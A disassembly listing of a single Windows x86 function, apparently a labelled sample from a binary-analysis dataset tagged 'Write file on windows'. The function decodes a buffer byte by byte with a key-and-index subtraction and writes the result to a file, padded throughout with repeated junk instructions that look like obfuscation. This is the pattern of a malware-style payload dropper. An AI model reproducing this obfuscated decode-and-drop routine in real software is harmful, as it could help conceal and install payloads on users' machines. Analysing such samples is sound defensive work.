Function at 0x404520
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 9], 0
mov dword [ebp - 4], 0x2a
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00405af0
add esp, 4
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 8], 0xffffffff
je 0x404823
mov dword [ebp - 0x1c], 0
jmp 0x404631
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp + 0xc]
jae 0x4047ed
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1c]
mov cl, byte [eax]
mov byte [ebp - 0x15], cl
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx edx, byte [ebp + 0x14]
movsx eax, byte [ebp - 0x15]
sub eax, edx
mov byte [ebp - 0x15], al
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx ecx, byte [ebp - 0x15]
sub ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x15], cl
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x1c], 0x2f0
jbe 0x404775
cmp dword [ebp - 0x1c], 0x2ff
jae 0x404775
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
call fcn.00405afa
mov byte [ebp - 0x15], al
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0
lea edx, [ebp - 0x10]
push edx
push 1
lea eax, [ebp - 0x15]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x404628
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x404823
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 9], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret